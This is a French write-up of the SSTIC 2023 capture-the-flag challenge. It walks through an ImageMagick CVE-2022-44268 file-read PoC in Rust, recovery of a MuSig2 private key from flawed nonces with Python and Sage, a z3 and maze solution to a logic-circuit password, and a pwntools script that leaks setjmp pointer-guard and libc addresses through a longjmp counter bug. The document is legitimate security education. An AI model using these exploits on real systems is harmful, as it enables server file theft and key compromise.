Challenge SSTIC 2023

Brice Berna

Étape 0 - Introduction

Le challenge démarre avec un lien vers la page d’un JNF sur OpenSea (sur un reseau la blockchain de test “Goerli”). Malheureusement, aucune offre de vente n’est disponible pour ce superbe JNF lié à une image de lobsterdog. Nous pouvons donc nous diriger sur le site web du JNF en allant sur “view website” on tombe sur ce site https://nft.quatre-qu.art/nft-library.php?id=12. Il s’agit d’une page php qui prend un paramètre id via la méthode GET. Chaque id correspond à une image et en changeant l’id nous obtenons de nombreux autres lobsterdogs. En mettant l’id 1 ou en allant à la racine du site nous obtenons une image contenant le premier flag:

✅ SSTIC{6a4ec745c1403b1ebf09fbd5a3021d1226330197641d4f65008ba0cd0fe48c62}

Étape 1 - Pentest

L’objectif est maintenant d’attaquer le site. Pour cela nous nous tournons vers un service de redimensionnement d’image accessible à l’adresse https://nft.quatre-qu.art/nft-library.php. Cette page permet d’uploader une image et retourne l’image redimensionnée. Dans les headers de la page, nous voyons X-Powered-By: ImageMagick/7.1.0-51 qui nous indique que c’est imageMagick qui est utilisé pour le redimensionnement. Comme il y a eu beaucoup de vulnérabilités sur ce logiciel nous pouvons deviner que cette version est vulnérable.

Parmis les dernières CVE sorties pour ImageMagick, il y a CVE-2022-44268 qui semble prometteuse: elle permet d’exfiltrer un fichier du serveur. Le patch de la vulnerabilite ne s’applique qu’à partir de la version 7.1.0-52, donc la version qui est utilisée est vulnérable!

La vulnérabilité est assez simple: Un fichier PNG est composé de chunks de différents types. Le chunk tEXt contient du texte sous forme de valeur associée à des tags (par exemple, le tag Author). Lors du redimensionnement, si le tag profile contient un nom de fichier, alors imagemagick va inclure le contenu du fichier dans le fichier PNG résultant, dans le chunk tEXt ou zTXt (une version compressée du chunk tEXt).

Bien que l’exploit soit assez simple à coder, il existe de nombreux PoC sur le net et avons choisi celui-ci.

fn main() {
    let filepath = std::env::args().nth(1).expect("no path given");
    let path = Path::new(r"./image.png");
    let file = File::create(path).unwrap();
    let ref mut w = BufWriter::new(file);
    let mut encoder = png::Encoder::new(w, 200, 200);
    encoder.set_color(png::ColorType::Rgba);
    encoder.set_depth(png::BitDepth::Eight);
    //le chemin du fichier à exfiltrer est ajouté dans un "text chunk" ici avec le tag "profile"
    encoder.add_text_chunk(
        "profile".to_string(),
        filepath.to_string(),
    )
    .unwrap();
    let mut writer = encoder.write_header().unwrap();
    writer.write_image_data(&multiply_bytes(&[255, 0, 0, 255], 40000)).unwrap(); // Save
}

Apres avoir verifié que le PoC marche en exfiltrant /etc/passwd, nous avons extrait le fichier nft-library.php qui affiche les images de lobsterdogs.

Le début du fichier nft-library.php:

<?php
header("X-Powered-By: ImageMagick/7.1.0-51");

// SSTIC{8c44f9aa39f4f69d26b91ae2b49ed4d2d029c0999e691f3122a883b01ee19fae}
// Une sauvegarde de l'infrastructure est disponible dans les fichiers suivants
// /backup.tgz, /devices.tgz
//

Nous voyons que le header a été ajouté comme indice pour nous aider et n’est pas nécessaire au fonctionnement du site web. De plus, deux fichiers à la racine sont à extraire : /backup.tgz et /devices.tgz et contiennent de nombreux fichiers qui seront analysés dans la partie suivante. Pour l’instant, nous pouvons valider le flag de l’étape 1:

✅ SSTIC{8c44f9aa39f4f69d26b91ae2b49ed4d2d029c0999e691f3122a883b01ee19fae}

Étape 2

Le fichier backup.tgz contient une sauvegarde du site https://trois-pains-zero.quatre-qu.art/. Il s’agit du site de la pâtisserie qui nous propose des gateaux contre des JNF. Malheureusement, pour acheter un JNF il faut aller sur la page d’admin implémentée par admin.py. Pour avoir le droit d’y accéder, il faut signer un message à l’aide d’un protocole multi-signature: Musig2 (détaillé plus tard dans la section Étape 2A). Générer la signature demande d’avoir 4 clés privées, et la signature peut être vérifiée grâce à l’agrégation des clés publiques, comme montré sur le schéma ci-dessous.

Heureusement, le fichier devices.tgz contient des informations à propos des quatres détenteurs des clés privées, et va nous permettre de les récupérer au travers de différentes attaques.

Chaque récupération de clé privée est une étape du challenge et sera détaillée dans les sections suivantes.

Étape 2A - Crypto(graphie)

La signature utilisée pour accéder à la page d’admin est réalisée par le script musig_player2.py. Comme il s’agit d’un protocol multi-signature, plusieurs échanges sont nécessaires entre les participants. Un fichier logs.txt reporte tout ce qui a été envoyé et reçu par le participant A. L’objectif de ce challenge est de récupérer la clé privée utilisée lors de cet échange.

Correction du script musig2_player.py

Il est probable que la version que nous récupérons dans la sauvegarde n’est pas la version finale car de nombreuses erreurs sont présentes. La première étape consiste donc à les corriger. La partie du script qui implémente le protocol musig2 est correct mais la partie main contient plusieurs erreurs:

  1. ligne 81: la fonction Point prend une courbe en dernier argument qui n’est pas présent ici
  2. lignes 82-84 les clés publiques importées du fichier baker_pubkey.py n’ont pas les bons noms
  3. ligne 88: il manque une parenthèse fermante
  4. ligne 99: il manque le log=True
  5. ligne 105: my_s qui est envoyé à l’agrégateur est un tuple contenant plusieurs valeurs mais le fichier de log indique que seulement une valeur a été envoyée.

Les erreurs 1,3 et 4 sont des erreurs faciles à corriger.

Pour l’erreur 2, il y a deux possibilités: soit les noms sont les bons dans le script, et nous ne disposons pas des clés publiques qui ont été utilisées lors de l’échange, soit il y a une erreur et il faut utiliser les clés présentes dans baker_pubkey.py. De même, pour l’erreur 5, de nombreuses possibilités sont valides. Nous allons voir qu’après avoir étudié le protocol Musig2, il sera plus aisé de corriger ces erreurs.

Musig2

Le protocol Musig2 et en majorité implémenté dans le fichier musig2_player.py. Les seules fonctions manquantes sont les fonctions d’agrégations qui ne seront pas utiles pour cette étape.

Le protocol utilise la courbe elliptique et on note P le modulo du corps sous-jacent et G le point de la courbe générateur.

Le protocole se déroule comme suit:

s_i \equiv ca_ip_i + \sum_{j=1}^4 r_{i,j}b_j \mod P

Maintenant que l’on connaît bien le protocol, il est aisé de voir que sans la connaissance des clés publiques de chaque participant, il semble n’y avoir aucune attaque possible : on ne disposerait que des points R_i = r_iG et le logarithme discret ne semble pas calculable en temps raisonnable ici. L’erreur 2 doit donc bien être corrigée et les noms dans le script baker_pubkey.py sont faux. De même, l’erreur 5 se corrige maintenant facilement en envoyant s à l’agrégateur, comme indiqué dans la description du protocole. Voici le main corrigé:

if __name__ == "__main__":    
    nb_players = 4

    # my public key
    my_pubkey = Point(0x7d29a75d7745c317aee84f38d0bddbf7eb1c91b7dcf45eab28d6d31584e00dd0, 0x25bb44e5ab9501e784a6f31a93c30cd6ad5b323f669b0af0ca52b8c5aa6258b9,cv)        # ERREUR 1   
    Bob_pubkey = baker_pubkey.BERTRAND_PK                                         # ERREUR 2
    Charlie_pubkey = baker_pubkey.CHARLES_PK                                      # ERREUR 2
    Dany_pubkey = baker_pubkey.DANIEL_PK                                          # ERREUR 2

    L = [my_pubkey, Bob_pubkey, Charlie_pubkey, Dany_pubkey]
    
    a = Hash_agg(L,my_pubkey)                                                     # ERREUR 3
    m = musig2_comm.receive_message_to_sign(log=True) 
    my_rs, my_Rs = first_sign_round_sign(my_privkey,m,4,get_nonce)
    musig2_comm.send_to_aggregator(my_Rs, log=True)
    Rs = musig2_comm.receive_from_aggregator(log=True)                            # ERREUR 4
    my_s = second_sign_round_sign(L, Rs, m, a, my_privkey, my_rs) 
    musig2_comm.send_to_aggregator(my_s[1], log=True)                             # ERREUR 5
    s = musig2_comm.receive_from_aggregator(log=True)

Récupération de la clé privée

Dans l’implémentation de musig2 donnée, nous voyons que la fonction de nonce est un peu différente de ce qu’il est habituel de voir. En effet, en général un nonce est genéré aléatoirement à l’aide d’un CSPRNG, ou c’est le résultat d’un hash de la clé privée et du message dans le cas de nonce déterministes. Ici, il s’agit bien d’un nonce déterministe mais la clé privée et le message ne sont pas hachés. Pour la génération d’un nonce r_i, on a :

r_j \equiv pm^{H(j)} \mod P avec p la clé privée et H sha256.

Ces nombres sont utilisés soit pour calculer R soit pour calculer la signature partielle. Dans le cas de la signature partielle, regardons ce qu’on obtient après substitution.

\begin{equation} \begin{split} s &= cap + \sum_{j=1}^4 (pm^{H(j)})b_j \\ &= p \times ca + \sum_{j=1}^4 p^{H(j)} \times m^{H(j)}b_j \\ &\Leftrightarrow p \times ca + \sum_{j=1}^4 (p^{H(j)} \times m^{H(j)}b_j) - s = 0 \end{split} \end{equation}

C’est un polynôme univariable de variable p dont la racine est la clé privée! De plus, dans log.txt nous disposons pour 5 transactions de s, et des \^R_i. Avec les clés publiques, il est donc possible de calculer a et les b_j. Ainsi, toutes les autres variables que la clé privée sont calculables.

Cependant, les exposants du polynôme sont trop élevés pour que l’on puisse chercher une racine: ils sont de l’ordre de 2^{256}. En revanche, nous pouvons exploiter le fait que nous avons plusieurs transactions dans le fichier de log. Précisément, nous en avons 5. Et notre polynôme comporte… 5 termes non constants. Il est possible de voir le polynôme comme une équation à 5 inconnues, chaque p^x avec un x différent étant une variable différente. De cette façon, nous obtenons 5 équations linéaires avec 5 inconnues.

Ainsi, avec c_i, a_i, m_i et b_{j,i} les variables calculées avec les valeurs de la transaction i du fichier de log, on a :

\begin{pmatrix} c_1a_1 & b_{1,1}m^{H(1)} & b_{2,1}m^{H(2)} & ... & b_{4,1}m^{H(4)}\\ c_2a_2 & b_{1,2}m^{H(1)} & ... & ... & ... \\ ... & ... & ... & ... & ... \\ ... & ... & ... & ... & ... \\ c_5a_5 & b_{1,5}m^{H(1)} & ... & ... & b_{4,5}m^{H(4)} \end{pmatrix} \begin{pmatrix} p \\ p^{H(1)} \\ p^{H(2)} \\ p^{H(3)} \\ p^{H(4)} \\ \end{pmatrix} \equiv \begin{pmatrix} s_1 \\ s_2 \\ s_3 \\ s_4 \\ s_5 \\ \end{pmatrix} \mod P Comme P est premier, la solution est calculable.

Le code python pour générer les matrices:


L = [my_pubkey, Bob_pubkey, Charlie_pubkey, Dany_pubkey]
X = key_aggregation(L)
a = Hash_agg(L,my_pubkey)


values = []
def parse_logs():
    cur_line = 0
    lines = open("logs.txt","r").readlines()
    for _ in range(5):
        vs = {}
        l = lines[cur_line].strip()
        m = l[24:-1].encode("ascii")
        vs["m"] = m
        cur_line += 2
        l = lines[cur_line].strip()
        l = l[11:]
        for ii in range(4):
            
            sep = l.find(" ")
            x = int(l[:sep],16)
            #print(hex(x))
            l = l[sep+1:]
            sep = l.find(" ")
            if sep != -1:
                y = int(l[:sep],16)
            else:
                y = int(l,16)
            l = l[sep+1:]
            #print(hex(y))
            vs[f"r{ii}"] = Point(x,y,cv)
            # sep = l.find(" ")
            # l = l[sep+1:]
        cur_line +=1
        l = lines[cur_line].strip()
        l = l[15:]
        for ii in range(4):
            sep = l.find(" ")
            x = int(l[:sep],16)
            print(hex(x))
            l = l[sep+1:]
            sep = l.find(" ")
            if sep != -1:
                y = int(l[:sep],16)
            else:
                y = int(l,16)
            l = l[sep+1:]
            print(hex(y))
            vs[f"R{ii}"] = Point(x,y,cv)
        cur_line +=1
        l = lines[cur_line].strip()
        l = l[11:]
        s = int(l,16)
        vs["s"] = s
        cur_line +=3
        values.append(vs)
parse_logs()
print(values)

A = []
B = []
for i in range(5):
    coefs_eq = []
    vs = values[i]
    Rs = [vs["R0"], vs["R1"],vs["R2"],vs["R3"]]
    m = vs["m"]
    b = Hash_non(X,Rs,m)
    R = Point.infinity()
    for j in range(len(L)):
        exp = pow(b,j,order)
        R += exp* Rs[j]
    R = R
    c = Hash_sig(X,R,m)
    coefs_eq.append((c*a)%order)
    
    rs = [vs["r0"], vs["r1"],vs["r2"],vs["r3"]]
    for i in range(4):
        digest = int.from_bytes(hashlib.sha256((i+1).to_bytes(32,byteorder="big")).digest(),byteorder="big")
        m_int = int.from_bytes(m, "big")
        r = pow(m_int, digest, order)
        bb = pow(b,i,order)
        coefs_eq.append((r*bb)%order)
    A.append(coefs_eq)
    B.append(vs["s"])
import json
json.dump([A,B],open("matrix.json","w"))

et le code Sage pour résoudre le système:

ms = json.load(open("matrix.json"))
ord = 115792089237316195423570985008687907852837564279074904382605163141518161494337
lA,lB = ms
A = matrix(GF(ord), lA)
b = matrix(GF(ord), lB).transpose()
print(A.solve_right(b))

Nous obtenons ainsi la clé privée du participant A. Cela nous permet de déchiffrer le fichier deviceA.enc et d’obtenir le flag de cette étape:

✅ SSTIC{dc3cb2c61cb0f2bdec237be4382fe3891365f81a0fb1c20546d888247dd9df0a}

Étape 2B - Circuit logique

Cette étape est constituée d’un fichier python qui prend un argument en mot de passe et qui génère une clé si le mot de passe est bon.

Le code qui vérifie le mot de passe construit un circuit logique avec les données stockées dans le fichier seed.bin. Le circuit logique est composé de portes OR, NAND, NOT, XOR, ainsi qu’une porte IF, et de cellules mémoires. À chaque tick (correspondant à la fonction step), les valeurs des cellules mémoire sont mises à jour.

Certaines entrées sont fixées à 1 ou 0, mais il y a deux entrées qui peuvent prendre des valeurs variables. Ainsi, le mot de passe est découpé en tranches de 2 bits. Pour chaque tranche, les deux bits sont les deux entrées variables, et deux tick sont exécutés. Une fois que tous les bits du mot de passes ont été traités, une des sorties du circuit est à 1 si le mot de passe est bon. Une des autres sorties du circuit est une valeur utilisée pour générer la clé.

Méthode rapide: z3

Comme le code travaille sur des bits, il est naturel de se tourner vers un framework qui implémente un SAT solver. Il faut d’abord réécrire la porte IF avec des portes OR,AND, et NOT.

elif g.kind == 8:
        res = (self.get(g.c) & self.get(g.b)) | ((~self.get(g.c)) & self.get(g.a))

Ensuite, il faut remplacer l’entrée utilisateur par des vecteurs de bits:

#password = bytes.fromhex(sys.argv[1])
e = E()
s = Solver()
syms = []

syms_c = []
for i in range(10):
    syms_c.append(BitVec(f"c{i}",8))


        
for b in syms_c:
    for i in range(4):
        #key = (b >> (i * 2)) & 3
        key = LShR(b, (i * 2))& 3
        e.set_uint(e.key, key)
        for _ in range(2):
            e.step()

Et en essayant différentes tailles de mots de passes z3 nous trouve le bon:

995b90996f4564409191

Méthode longue: Analyse du circuit logique

Ce qui détermine l’état du circuit c’est l’état des cellules mémoires. Nous déterminons donc d’abord de quelles cellules dépend la sortie du circuit:

dir_deps = {}

for i,g in enumerate(e.gs):
    if g.kind in [0,1,2]:
        dir_deps[i] = []
    elif g.kind in [3,7]:
        dir_deps[i] = [g.a]
    elif g.kind in [4,5,6]:
        dir_deps[i] = [g.a,g.b]
    elif g.kind in [8]:
        dir_deps[i] = [g.a,g.b,g.c]
    elif g.kind in [9]:
        dir_deps[i] = [g.a]

deps = []
marked = [0]*8000
def get_deps(i):
    global deps
    global marked
    deps = []
    marked = [0]*8000
    return get_deps_rec(i)

def get_deps_rec(i):
    global deps
    if marked[i]:
        return deps
    else:
        marked[i] = 1
    if dir_deps[i] == []:
        return deps
    else:
        for hh in dir_deps[i]:
            if not hh in deps:
                deps.append(hh)
        for j in dir_deps[i]:
            get_deps_rec(j)
    return deps

def is_dep_2(i):
    get_deps(i)
    return (4962 in deps) or (2644 in deps)

def is_dep_9(i):
    get_deps(i)
    for d in deps:
        if e.gs[d].kind == 9:
            return True
    return False

def get_dep_9(i):
    ret = set()
    get_deps(i)
    for d in deps:
        if e.gs[d].kind == 9:
            ret.add(d)
    return ret
print("===")
print(get_dep_9(e.good[0]))

Nous remarquons qu’elle dépend de seulement 20 cellules. En regardant les dépendances aux portes de type 2(entrée) de ces 2 cellules, nous remarquons que seulement 11 dépendent des entrées.

Pour étudier plus précisément le circuit, nous le dessinons sous forme de graphe:

Les cellules R0 à R8 sont celles qui ne dépendent pas des entrées. Ce circuit est très simple. Pour que la sortie S soit à 1, il faut une valeur précise pour chaque cellule R0 à R19.

Cellules R0-R8

Nous commençons par regarder les cellules R1 à R8. Les cellules en bleu foncé représentent l’état précédent de la cellule (avant le tick), et les cellules en bleu clair le nouvel état (après le ticket).

On a:

\begin{cases} r_1' &= r_1 \oplus 1 \\ r_i' &= r_i \oplus \bigwedge_{n=0}^{i-1}r_n \\ \end{cases}

Ce circuit correspond à une opération “plus 1” sur un nombre C composé des bits r_1,..,r_8. En effet le \oplus 1 correspond à une addition binaire avec 1. Il faut ensuite propager la retenue. Dans une addition avec 1, il y a une retenue au bit n que si tous les bits précédents sont à 1 avant l’addition, ce qui est testé par \bigwedge_{n=0}^{i-1}r_n.

Chaque tick incrémente donc C de 1. Pour obtenir la sortie du circuit à 1, la valeur de C doit être de 80. Nous savons donc que le mot de passe doit faire 80 bits, soit 8 caractères. Cependant, les mots de passes d’une longueur l \equiv 80 \mod 2^8 sont aussi acceptés. Pour éviter cela, la cellule R0 vaut 1 si C > 80, et pour que la sortie du circuit soit à 1, R0 doit être à 0.

Le détail de R0:

Nous voyons que lorsque r_0 = 1, la valeur de C au précédent tick doit être de 80. La porte OR garantit ensuite que, une fois que R0 vaut 1, sa valeur ne change plus.

Cellules R10-R14 et R15-R19

Nous nous intéressons d’abord au groupe de cellules R10-R14 Regardons d’abord la cellule R10:

Nous voyons plusieurs ifs, mais ils peuvent être simplifiés. Nous voyons que ce bloc de if renvoit la valeur I_1, et nous pouvons nous en assurer en regardant la table de vérité correspondante:

I0  I1  V
0   0   0
0   1   1
1   0   0
1   1   1

Nous ajoutons R11 à notre visualisation. Pour que le graphe soit plus lisible, nous dupliquons les nœuds afin que ça devienne un arbre. Les identifiants des noeuds ont été ajoutés afin de mieux voir les nœuds dupliqués.

Un nouveau bloc IF est utilisé ici : le bloc IF-647. Il peut lui aussi être simplifié par I_1 \wedge I_0.

Affichons maintenant R10-R12 avec nos blocs IF simplifiés.

Le circuit est un peu plus compliqué ici, commençons par prendre le cas ou I_0 = 0. Le circuit est alors très similaire à la section précédente et on a:

b_i' = b_i \oplus \bigwedge_{n=0}^{i-1}b_n \wedge I_1

avec b_0 le bit dans R10, b_1 dans R12 etc. Bien que n’affichant pas les cellules R13 et R14, cela s’applique aussi. Nous avons donc un nombre N_1 sur 5 bits. De plus, si I_0 = 0, le circuit effectue l’opération

N_1 + I_1 \mod 2^5

Maintenant, si I_0 est à 1, c’est un peu plus compliqué. Il s’agit de l’opération N_1 - I_1. Essayons d’en avoir l’intuition informelle en regardant b_2:

On a: b_2' = b_2 \oplus I_1 \oplus ((b_1 \wedge I_1) \vee (b_0 \wedge I_1 \wedge (b_1 \oplus I_1)))

Si I_1 = 1, alors b_2 va au moins être xorée avec 1. Cependant, cela ne doit être le cas que dans le cas d’une propagation de retenue. Le reste de la formule doit donc être égale à 1 si il n’y a pas de propagation de retenue, pour “annuler” ce xor. Le cas où il n’y a pas de propagation de retenue est simple: si il y a au moins un bit à 1 dans les bits précédents. C’est cela que vise à implémenter le OR: Soit b_1 = 1 est à 1, soit b_1 = 0 (implémenté par b_1 \oplus I_1 puisqu’on considère le cas ou I_1 = 1) ET b_0 = 1.

Ce circuit est généralisé à b_3 et b_4.

Pour résumer, à chaque tick, on a:

\begin{cases} N_1' & \equiv N_1 + I_1 \mod 2^5 \text{ si } I_0 = 0 \\ N_1' & \equiv N_1 - I_1 \mod 2^5 \text{ sinon} \\ \end{cases}

La valeur initiale de N_1 est 1.

Le circuit logique est très similaire pour les cellules R15 à R19, il est donc facile de le reverser: les cellules mémoires R15-R19 forment un nombre de 5 bits N_2 tel que

\begin{cases} N_2' & \equiv N_2 - (1 - I_0) \mod 2^5 \text{ si } I_1 = 1 \\ N_2' & \equiv N_2 + (1 - I_0) \mod 2^5 \text{ sinon} \\ \end{cases}

La valeur initiale de N_2 est 11.

Cellule R9

La cellule R9 vérifie que les cellules R10-R14 et R15-R19 sont dans un ensemble de valeurs acceptables. Il s’agit donc d’un énorme OR qui ressemble à ça (l’arbre total est trop grand):

De plus, une porte ET assure que R9 doit être à 1 à chaque tick:

On note l’ensemble des valeurs acceptables A.

Mot de passe et flag

Pour résumer: Il y a 80 tick. Pour chaque tick, (N_1, N_2) de valeur initiale (1,11) évolue en fonction de I_0 et I_1 selon la table suivante:

I_1 I_0 N_1' N_2'
0 0 N_1 N2-1
0 1 N_1+1 N2
1 0 N_1 N2+1
1 1 N_1-1 N2

La valeur finale pour (N_1, N_2) est d’après la première figure (31, 13)

Cela nous fait penser à des coordonnées. Et en effet, les valeurs de A représentent un labyrinthe! Chaque combinaison de 2 bits d’entrée correspond à un déplacement dans le labyrinthe. Pour trouver les bonnes valeurs d’entrées, il faut donc trouver un chemin de 81 cases.

Il se trouve qu’il n’y a qu’un seul chemin de cette longueure entre l’entrée et la sortie, représenté sur l’image ci-dessous (entrée en bleu et sortie en vert).

Le code python pour retrouver le chemin:

values = []
def extract_values(x):
    global values
    g = e.gs[x]
    if g.kind == 5:
        ps = get_parents(x)
        for p in ps:
            extract_values(p)
    elif g.kind == 4:
        #r0
        n8 = e.gs[g.b]
        n7 = e.gs[g.a]
        n6 = e.gs[n7.b]
        n5 = e.gs[n7.a]
        n4 = e.gs[n6.b]
        n3 = e.gs[n6.a]
        n2 = e.gs[n5.b]
        n1 = e.gs[n5.a]
        r0 = not n1.na
        r1 = not n1.nb
        r2 = not n2.na
        r3 = not n2.nb
        r4 = not n3.na
        r5 = not n3.nb
        r6 = not n4.na
        r7 = not n4.nb
        r8 = not n8.na
        r9 = not n8.nb
        N1 = r0 | (r1 << 1) | (r2 << 2) | (r3 << 3) | (r4 << 4)
        N2 = r5 | (r6 << 1) | (r7 << 2) | (r8 << 3) | (r9 << 4)
        print(x,(N1,N2))
        values.append((N1,N2))

extract_values(3739) 
print(len(values))
print(values)


def get_adj(p):
    x,y = p
    ret = []
    if ((x+1)%32,y) in values:
        ret.append(((x+1)%32,y))
    if (x,(y+1)%32) in values:
        ret.append((x,(y+1)%32))
    if ((x-1)%32,y) in values:
        ret.append(((x-1)%32,y))
    if (x,(y-1)%32) in values:
        ret.append((x,(y-1)%32))
    return ret

import copy
dest = (31,13)
chemin = [(1,11)]
stack = [chemin]
FOUND = None
while stack:
    chemin = stack.pop()
    cur_pos = chemin[-1]
    adjs = get_adj(cur_pos)
    for a in adjs:
        if a not in chemin:
            new_chemin = copy.deepcopy(chemin)
            new_chemin.append(a)
            if a == dest:
                print("FOUND")
                print(len(new_chemin))
                print(new_chemin)
                stack = []
                FOUND = new_chemin
                break
            stack.append(new_chemin)

Il ne nous reste plus qu’a reconstruire le mot de passe:

prev = (1,11)
bits = []
add = True
for p in FOUND[1:]:
    #xp,yp = p
    x,y = prev
    if add:
        if p == (x+1,y):
            bits += [1,0]
        elif p == (x,y+1):
            bits += [0,1]
        elif p == (x-1,y):
            bits += [1,1]
        elif p == (x,y-1):
            bits += [0,0]
    add = not add
    prev = p
print(bits)

password = []
for i in range(0, 80, 8):
    chunk = bits[i:i+8]
    cur_byte = 0
    for j in range(8):
        cur_byte |= (chunk[j] <<j)
    password.append(cur_byte)
print(bytes(password).hex())

Nous trouvons bien le même mot de passe qu’avec z3:

python seedlocker.py 995b90996f4564409191
Seed: easy sponsor novel jazz theory marble era hurt transfer ball describe neutral   
Private key: 0x81e8d3a6ad341da46e6361b7c1c376b5423e7ad04748077b93a0c20263305824
Public key X: 0x206aeb643e2fe72452ef6929049d09496d7252a87e9daf6bf2e58914b55f3a90
Public key Y: 0x46c220ee7cbe03b138a76dcb4db673c35e2ab81b4235486fe4dbd2ad093e8df4

Cela permet de récupérer la cle et de déchiffrer le flag:

✅ SSTIC{f5967cae6478fa6bb9ea1bc758aee0961a68a8b4767f74888ce0bb8563a6218e}

Étape 2C - Éxploitation

Cette étape consiste à exploiter une machine qui utilise la clé privée pour signer et chiffrer des messages.

L’application distante est composée de deux binaires: un frontend et un backend. Le premier objectif est d’obtenir un shell sur le frontend

Éxploitation du frontend

Le frontend interagit avec l’utilisateur grace à une interface en mode texte. Il est possible de :

Les chunks envoyés sont stockés dans un tableau d’objets chunks

struct chunk
{
  int is_encrypted;
  int decrypted_size;
  int nb;
  char data[256];
  int crc;
  int encrypted_size;
};

De plus, le frontend utilise les fonctions longjump et setjump pour gérer les erreurs. Ainsi la plupart des erreurs provoquent un retour immédiat au menu principal de l’interface, sans que la fonction ne se termine.

Vulnérabilité

La vulnérabilité se trouve dans la fonction qui reçoit un chunk:

ssize_t __fastcall get_data(unsigned int a1, unsigned int a2)
{
  int v2; // w0

  if ( can_add_data != 1 )
  {
    error = (__int64)"Cannot add more data\n";
    longjmp(&lg_jmp, 1);
  }
  v2 = nb_data++; [1]
  get_data_from_client(a1, &encrypt_obj_tab[v2], a2); [2]
  if ( nb_data == 10 ) [3]
    can_add_data = 0;
  return _write(a1, "Data successfully added\n", 0x18u);
}

En [1], le nombre de chunk nb_data est incrémenté, et il est vérifié en [3]. Cependant, la fonction appelée en [2] peut faire un appel à longjump en cas d’erreur:

__int64 __fastcall get_data_from_client(unsigned int a1, encrypt_obj *a2, int a3)
{
 unsigned int data_size; // [xsp+2Ch] [xbp+2Ch]

 data_size = get_data_size(a1, a3);
 a2->nb = get_id(a1);
 if ( a3 == 1 )
 {
   a2->encrypted = 1;
   a2->encrypted_size = data_size;
   if ( (unsigned __int8)get_y_n(a1) )
   {
     data_size >>= 1;
     a2->encrypted_size = data_size;
     _write(a1, "Data (hex): ", 0xCu);
     read_hex_data(a1, (__int64)a2->data, a2->encrypted_size);
   }
   else
   {
     _write(a1, "Data: ", 6u);
     get_data_raw(a1, (__int64)a2->data, a2->encrypted_size);
   }
 }
 else
 [...]

 __int64 __fastcall get_y_n(unsigned int a1)
{
 unsigned __int8 option; // w0

 _write(a1, "Data in hex?(y/n)\n", 0x12u);
 option = get_option(a1);
 if ( option == 121 )
   return 1LL;
 if ( option > (unsigned int)'y' )
 {
LABEL_9:
   error = (__int64)"Bad choice\n";
   longjmp(&lg_jmp, 1); [4]
 }
 [...]

Il suffit de répondre autre chose que “y” ou “n” lorsque l’interface le demande pour provoquer un longjump en [4]. Lorsque cela arrive, le nombre de chunks nb_data est incrémenté sans être vérifié. Il peut alors valoir plus que 10.

Éxploitation

La fonction setjump stocke la valeur de certains registres et notamment pc et sp xorés avec un secret dans un buffer situé sous le tableau de chunk.

Avec la vulnérabilité, il est donc possible de faire pointer un chunk dans l’environnement sauvegarde par setjump.

Heureusement, le chunk n’est pas initialisé à zéro et il est donc possible de ne pas écraser les données.

Leak

Il est possible de lire les données des chunks, ce qui nous permet de récupérer les données de l’environnement setjump. Heureusement, un des registres sauvegardés contient la valeur de SP non xorée, ce qui nous permet de récupérer la valeur du secret. De plus, il y a un pointeur vers ld, une bibliothèque toujours mappée juste après la libc. Ainsi, nous avons aussi l’adresse de base de la libc

Le code python qui effectue le leak

import sys
if "remote" in sys.argv:
    r = remote("device.quatre-qu.art",8080)
    r.recvuntil("password:")
    r.sendline("fudmH/MGzgUM7Zx3k6xMuvThTXh+ULf1")
    r.recvuntil("6(n + b'")
    s = r.recv(5)
    print(s)
    r.recvuntil("number:")
    inp = solve_pow(s)
    r.sendline(inp)
else:
    r = remote("192.168.1.70",1336)

r.recvuntil("Option:")


def add_data(id,data):
    r.sendline("A")
    r.recvuntil("Data size:")
    r.sendline(str(len(data)))
    r.recvuntil("Data id:")
    r.sendline(str(id))
    r.recvuntil("Data in hex?(y/n)")
    r.sendline("n")
    r.recvuntil("Data:")
    r.sendline(data)
    r.recvuntil("crc (hex):")
    r.sendline(hex(zlib.crc32(data))[2:])
    print(r.recvuntil("Option:"))

def add_data_bad_crc(id,data):
    r.sendline("A")
    r.recvuntil("Data size:")
    r.sendline(str(len(data)))
    r.recvuntil("Data id:")
    r.sendline(str(id))
    r.recvuntil("Data in hex?(y/n)")
    r.sendline("n")
    r.recvuntil("Data:")
    r.sendline(data)
    r.recvuntil("crc (hex):")
    r.sendline("00000000")
    print(r.recvuntil("Option:"))

def add_bad_data(d,data):
    r.sendline("A")
    r.recvuntil("Data size:")
    r.sendline(str(0x200))
    r.recvuntil("Bad packet size")

def add_leak_data(id,data):
    r.sendline("A")
    r.recvuntil("Data size:")
    r.sendline(str(0x100))
    r.recvuntil("Data id:")
    r.sendline(str(id))
    r.recvuntil("Data in hex?(y/n)")
    r.sendline("z")
    r.recvuntil("Bad choice")

OFFLIBC = 0x151000
ptr_guard = 0
base_addr = 0
sp = 0
env = 0
libc_base = 0
offset_error = 0x18
offset_pc = 0x80
offset_sp = 0x90
offset_key1 = 0x78
offset_libc = 0x38
def parse_leak(l):
    global ptr_guard
    global base_addr
    global sp
    global env
    global libc_base
    print("FU")
    ff = l.find(b"Message 4:")
    data = l[ff+11:ff+11+512]
    print(data)
    raw_data = bytes.fromhex(data.decode("ascii"))
    hexdump(raw_data)
    offset_error = 0x18
    offset_pc = 0x80
    offset_sp = 0x90
    offset_key1 = 0x78
    error_p = u64(raw_data[offset_error:offset_error+8])
    prot_pc = u64(raw_data[offset_pc:offset_pc+8])
    prot_sp = u64(raw_data[offset_sp:offset_sp+8])
    key1 = u64(raw_data[offset_key1:offset_key1+8])
    libc_base = u64(raw_data[offset_libc:offset_libc+8]) - OFFLIBC 
    ptr_guard = prot_sp ^ key1
    base_addr = error_p - 0x4060
    sp = key1
    env=raw_data
    print(f"{error_p=:x} {prot_pc=:x} {prot_sp=:x} {key1=:x} {ptr_guard=:x} {libc_base=:x}")


r.sendline("D")
add_data(1,b"\x00"*0x10 + b"\x22"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(1,b"\x00"*0x10 + b"\x22"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(1,b"\x00"*0x10 + b"\x22"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_bad_data(2,b"\xff"*0x20 + b"\x33"*0x10)
r.sendline("D")
add_bad_data(2,b"\xff"*0x20 + b"\x33"*0x10)
r.sendline("E")
add_leak_data(4,b"\xff"*0x20 + b"\x33"*0x10)
print(r.recvuntil("Option:"))
r.sendline("E")
print(r.recvuntil("Option:"))
r.sendline("V")
